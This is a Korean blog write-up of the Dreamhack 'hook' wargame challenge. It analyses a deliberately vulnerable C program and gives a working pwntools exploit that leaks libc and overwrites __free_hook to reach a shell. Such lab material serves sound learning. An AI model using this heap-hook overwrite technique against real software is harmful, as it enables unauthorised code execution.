문제 풀이 환경 : 구름 ide
1. 문제 파일 다운, 환경 분석
문제 파일을 다운 받고 $ chmod +x hook
로 실행 권한을 부여했다.
환경은 문제에 제시되어 있다.
environment
Ubuntu 16.04
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE를 제외하고 RELRO, canary, NX가 적용되어 있음을 알 수 있다.
2. 코드 분석
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout); //stdout 주소 출력
printf("Size: ");
scanf("%ld", &size); //size 입력 받음
ptr = malloc(size); //size바이트만큼 ptr에 할당
printf("Data: ");
read(0, ptr, size); //ptr에 사이즈 크기만큼 입력
*(long *)*ptr = *(ptr+1); //(ptr + 8바이트)가 가리키는 값을 ptr이 가리키는 주소에 넣어줌
free(ptr); ptr 해체 후
free(ptr); 한 번 더 해체해서 오류가 발생함
system("/bin/sh"); //쉘 실행
return 0;
}
이 문제는 코드를 분석하는 것이 중요하다.
특히 *(long *)*ptr = *(ptr+1);
를 제대로 이해하지 못하면 문제를 해결하기 어렵다.
*(long *)*ptr = *(ptr+1);
분석
오른쪽의 *(ptr+1)
부터 살펴보면 ptr은 long으로 선언된 8바이트 크기의 포인터이다.
그렇기 때문에 ptr + 1은 ptr + 8바이트(long type 변수의 크기)의 주소를 의미하고,
*(ptr + 1)은 그 주소에 있는 값을 의미한다.
왼쪽의 *(long *)*ptr은 연산 순서에 따라 하나씩 생각해야 된다.
먼저 *ptr은 ptr에 있는 값을 의미하고, (long *)은 그 값을 long 타입 형태의 주소를 저장하는 포인터로 인식한다는 것을 의미한다.
다시 말해 ptr에 저장된 long 타입 변수를 의미하는 주소를 읽어온다는 뜻이다.
그리고 *(ptr +1)은 그 주소가 참조하고 있는 실제 값을 의미한다.
그럼 위의 코드는 ptr이 가리키고 있는 주소의 값을 ptr + 1(8바이트)의 값으로 바꾼다는 의미가 된다.
3. 취약점 분석
printf("stdout: %p\n", stdout)
에서 stdout의 주소를 구하여 ibc base의 주소를 구할 수 있다.*(long *)*ptr = *(ptr+1)
에서 RELRO가 적용되지 않은 주소에 원하는 함수를 넣을 수 있다.free(ptr)
에서 free가 실행될 때 __free_hook
이 실행되므로 __free_hook
에 다른 함수를 넣어 명령을 실행할 수 있다.
PIE가 적용되어 있지 않기 때문에 main 함수의 system("/bin/sh")
의 주소를 구하여 쉘을 실행할 수 있다.
위의 내용을 종합해보면 libc_base를 구하여 free_hook의 주소를 구한 후, system("/bin/sh")
의 주소를 구하고 그 주소를 __free_hook
에 넣어서 system 함수가 실행되게 할 수 있다.
4. system("/bin/sh") 주소 구하기
0x0000000000400a00 <+182>: call 0x400770 <free@plt>
0x0000000000400a05 <+187>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400a09 <+191>: mov rdi,rax
0x0000000000400a0c <+194>: call 0x400770 <free@plt>
0x0000000000400a11 <+199>: mov edi,0x400aeb
0x0000000000400a16 <+204>: call 0x400788 <system@plt>
0x0000000000400a1b <+209>: mov eax,0x0
0x0000000000400a20 <+214>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000400a24 <+218>: xor rcx,QWORD PTR fs:0x28
0x0000000000400a2d <+227>: je 0x400a34 <main+234>
pwndbg> disass main
으로 main 함수를 disassemble 해보면 main+199에서 인자를 전달하고 +144에서 system@plt
가 실행됨을 알 수 있다.
그러므로 0x400a11
을 __free_hook
에 넣어주면 된다.
5. 코드 작성
from pwn import *
context.arch = 'amd64'
p = remote('host3.dreamhack.games', 18696)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')
p.recvuntil('stdout: ')
lb = int(p.recvn(14), 16) - libc.symbols['_IO_2_1_stdout_'] //stdout 주소 받아서 libc base 구하기(출력이 %p로 된다는 점 주의)
free_hook = lb + libc.symbols['__free_hook'] //__free_hook의 주소 구하기
system = 0x0000000000400a11 //system("/bin/sh")의 주소
payload = str(16)
p.sendlineafter('Size: ', payload) //size 적당하게(16바이트 이상) 설정해주고
payload = p64(free_hook) //free_hook의 주소를 ptr에 저장
payload += p64(system) //system의 주소를 ptr+1(ptr+8바이트)에 저장
p.sendafter('Data: ', payload)
p.interactive()
위의 코드로 익스플로잇에 성공했다.
6. 보충 설명
main 함수를 disassemble 했을 때, 0x400a11만 넣어주게 되면 mov 명령어만 실행된다고 생각할 수 있다.
하지만, 따로 ret이 되기 전까지는 코드는 주소에 따라 순차적으로 진행된다는 점을 기억해야 된다.
함수들이 실행될 때 다른 함수로 명령어 포인터가 옮겨지면 그 함수의 명령어가 순차적으로 실행이 되고 ret을 만나야지만 함수의 실행이 종료된다는 점을 생각해보면 이해하는데 도움이 된다.
'system hacking' 카테고리의 다른 글
드림핵 basic_exploitation_002 문제 풀이 (2) | 2024.07.15 |
---|---|
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found 오류 해결 방법 (0) | 2024.07.12 |
드림핵 oneshot 문제 풀이 (0) | 2024.07.09 |
드림핵 basic_rop_x86 문제 풀이 (0) | 2024.07.07 |
드림핵 라이브러리 주소 알아내는 방법, 특정 라이브러리를 로드하는 방법 (0) | 2024.07.03 |